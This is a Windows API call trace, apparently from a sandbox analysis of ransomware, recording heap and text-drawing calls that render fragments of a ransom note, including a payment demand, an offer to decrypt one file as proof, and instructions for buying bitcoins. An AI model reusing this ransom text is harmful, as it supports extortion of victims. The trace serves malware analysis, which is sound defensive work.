[0103.650] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.650] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.650] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.650] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.650] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.650] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.650] _CIatan2 () returned 0x20
[0103.650] _CIatan2 () returned 0x20
[0103.650] ExtTextOutW (hdc=0x90101e7, x=307, y=-1, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.650] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.650] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.650] LsDestroyLine () returned 0x0
[0103.650] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.650] LsSetDoc () returned 0x0
[0103.650] LsCreateLine () returned 0x0
[0103.650] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.651] LsQueryLineDup () returned 0x0
[0103.651] LsQueryLineCpPpoint () returned 0x0
[0103.651] LsDisplayLine () returned 0x0
[0103.651] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0103.651] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.651] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.651] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.651] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.651] _CIsqrt () returned 0x3f1a027f
[0103.651] _CIsqrt () returned 0x3f1a027f
[0103.651] _CIatan2 () returned 0x20
[0103.651] _CIatan2 () returned 0x20
[0103.651] ExtTextOutA (hdc=0x90101e7, x=46, y=24, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.651] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.651] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.651] LsDestroyLine () returned 0x0
[0103.651] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.652] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.652] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4baaf8 | out: hHeap=0x450000) returned 1
[0103.652] LsSetDoc () returned 0x0
[0103.652] LsCreateLine () returned 0x0
[0103.652] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.653] LsDisplayLine () returned 0x0
[0103.653] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.653] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.653] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.653] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.653] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.653] _CIatan2 () returned 0x20
[0103.653] _CIatan2 () returned 0x20
[0103.653] ExtTextOutW (hdc=0x90101e7, x=62, y=24, options=0x4, lprect=0x1c8498, lpString="As evidence, we can decrypt one file n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x24, lpDx=0x1c84d0) returned 1
[0103.653] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.653] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.653] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.653] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.653] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.654] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.654] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.654] _CIatan2 () returned 0x20
[0103.654] _CIatan2 () returned 0x20
[0103.654] ExtTextOutW (hdc=0x90101e7, x=301, y=24, options=0x4, lprect=0x1c8498, lpString=" n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.654] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.654] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.654] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.654] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.654] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.654] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.654] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.654] _CIatan2 () returned 0x20
[0103.654] _CIatan2 () returned 0x20
[0103.654] ExtTextOutW (hdc=0x90101e7, x=306, y=24, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.654] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.654] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.654] LsDestroyLine () returned 0x0
[0103.654] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.655] LsSetDoc () returned 0x0
[0103.655] LsCreateLine () returned 0x0
[0103.655] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.655] LsDisplayLine () returned 0x0
[0103.655] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.655] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.655] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.655] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.655] LsDestroyLine () returned 0x0
[0103.655] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.656] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.656] LsSetDoc () returned 0x0
[0103.656] LsCreateLine () returned 0x0
[0103.656] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.656] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc340
[0103.657] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4baaf8
[0103.657] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.657] LsdnFinishRegular () returned 0x0
[0103.657] LsDisplayLine () returned 0x0
[0103.657] LsDestroyLine () returned 0x0
[0103.657] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc340 | out: hHeap=0x450000) returned 1
[0103.657] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.657] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.658] LsSetDoc () returned 0x0
[0103.658] LsCreateLine () returned 0x0
[0103.658] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.659] LsDisplayLine () returned 0x0
[0103.659] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.659] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.659] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.659] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.659] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.659] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x258) returned 0x509458
[0103.659] _CIatan2 () returned 0x20
[0103.659] _CIatan2 () returned 0x20
[0103.659] ExtTextOutW (hdc=0x90101e7, x=62, y=124, options=0x4, lprect=0x1c8498, lpString="The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x95, lpDx=0x509458) returned 1
[0103.660] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509458 | out: hHeap=0x450000) returned 1
[0103.660] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.660] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.660] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.660] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.660] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.660] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.660] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.660] _CIatan2 () returned 0x20
[0103.660] _CIatan2 () returned 0x20
[0103.660] ExtTextOutW (hdc=0x90101e7, x=1008, y=124, options=0x4, lprect=0x1c8498, lpString=" decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.660] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.660] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.660] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.660] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.660] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.660] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.660] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.660] _CIatan2 () returned 0x20
[0103.660] _CIatan2 () returned 0x20
[0103.660] ExtTextOutW (hdc=0x90101e7, x=1013, y=124, options=0x4, lprect=0x1c8498, lpString=" decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.660] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.661] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.661] LsDestroyLine () returned 0x0
[0103.661] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.661] LsSetDoc () returned 0x0
[0103.661] LsCreateLine () returned 0x0
[0103.661] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.662] LsDisplayLine () returned 0x0
[0103.663] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.663] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2000000
[0103.663] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.663] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.663] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.663] _CIatan2 () returned 0x20
[0103.663] _CIatan2 () returned 0x20
[0103.663] ExtTextOutW (hdc=0x90101e7, x=62, y=149, options=0x4, lprect=0x1c8390, lpString="https://localbitcoins.net/buy_bitcoins Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x26, lpDx=0x1c83c8) returned 1
[0103.663] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.663] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.663] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.663] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.663] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.663] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x33001e3
[0103.664] SelectObject (hdc=0x90101e7, h=0x33001e3) returned 0x1b00016
[0103.664] MoveToEx (in: hdc=0x90101e7, x=62, y=150, lppt=0x0 | out: lppt=0x0) returned 1
[0103.664] LineTo (hdc=0x90101e7, x=297, y=150) returned 1
[0103.664] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x33001e3
[0103.664] DeleteObject (ho=0x33001e3) returned 1
[0103.664] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.664] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2cc6600
[0103.664] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.664] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.664] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.664] _CIatan2 () returned 0x20
[0103.664] _CIatan2 () returned 0x20
[0103.664] ExtTextOutW (hdc=0x90101e7, x=297, y=149, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.664] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.664] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.664] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.664] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.664] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.664] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.664] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.664] _CIatan2 () returned 0x20
[0103.664] _CIatan2 () returned 0x20
[0103.664] ExtTextOutW (hdc=0x90101e7, x=302, y=149, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.664] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.664] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.664] LsDestroyLine () returned 0x0
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.665] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.665] LsDestroyContext () returned 0x0
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4972e0 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6978 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5029b0 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6948 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501378 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c7d10 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503cf0 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011e8 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501210 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011c0 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501328 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5004d0 | out: hHeap=0x450000) returned 1
[0103.665] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd810 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd840 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd820 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500fc8 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502ca0 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502d70 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509210 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e08 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508fa8 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509078 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497f80 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0103.666] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5008d8 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503268 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4baaf8 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] IntersectRect (in: lprcDst=0x1c9514, lprcSrc1=0x1c9514, lprcSrc2=0x1c9424 | out: lprcDst=0x1c9514) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9534 | out: lprcDst=0x4967b8) returned 1
[0103.667] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9554 | out: lprcDst=0x4967b8) returned 1
[0103.667] IntersectRect (in: lprcDst=0x1c9054, lprcSrc1=0x1c9054, lprcSrc2=0x1c8f08 | out: lprcDst=0x1c9054) returned 1
[0103.667] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.667] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9054 | out: lprcDst=0x4967b8) returned 1
[0103.667] IntersectRect (in: lprcDst=0x1c8fb8, lprcSrc1=0x1c8fb8, lprcSrc2=0x4967c8 | out: lprcDst=0x1c8fb8) returned 1
[0103.667] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c8f6c | out: lprcDst=0x4967b8) returned 1
[0103.668] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.668] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.668] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.668] LsSetDoc () returned 0x0
[0103.668] LsCreateLine () returned 0x0
[0103.668] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.668] LsDisplayLine () returned 0x0
[0103.668] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x18a002e
[0103.668] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.668] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.668] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.668] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.669] _CIatan2 () returned 0x20
[0103.669] _CIatan2 () returned 0x20
[0103.669] ExtTextOutW (hdc=0x90101e7, x=32, y=96, options=0x4, lprect=0x1c8160, lpString="How to obtain Bitcoinsnet/buy_bitcoins Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x16, lpDx=0x1c8198) returned 1
[0103.669] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.669] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.669] LsDestroyLine () returned 0x0
[0103.669] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.669] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0103.669] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.669] BitBlt (hdc=0x330107bc, x=0, y=452, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0103.669] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.669] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0103.669] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0103.669] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.669] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0103.669] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0103.669] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.669] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.670] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x15040259
[0103.670] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.670] SelectClipRgn (hdc=0x90101e7, hrgn=0x15040259) returned 2
[0103.670] DeleteObject (ho=0x15040259) returned 1
[0103.670] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0103.670] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0103.670] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0103.670] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0103.670] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0103.670] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0103.670] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0103.670] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0103.670] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.670] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0103.670] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0103.670] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0103.670] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.670] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0103.670] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0103.670] GetStockObject (i=8) returned 0x1b00016
[0103.670] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.670] GetROP2 (hdc=0x90101e7) returned 13
[0103.670] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.670] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0103.670] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.670] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.670] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0103.671] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0103.671] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0103.671] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0103.671] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0103.671] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.671] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.671] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.671] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.671] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.671] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.671] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
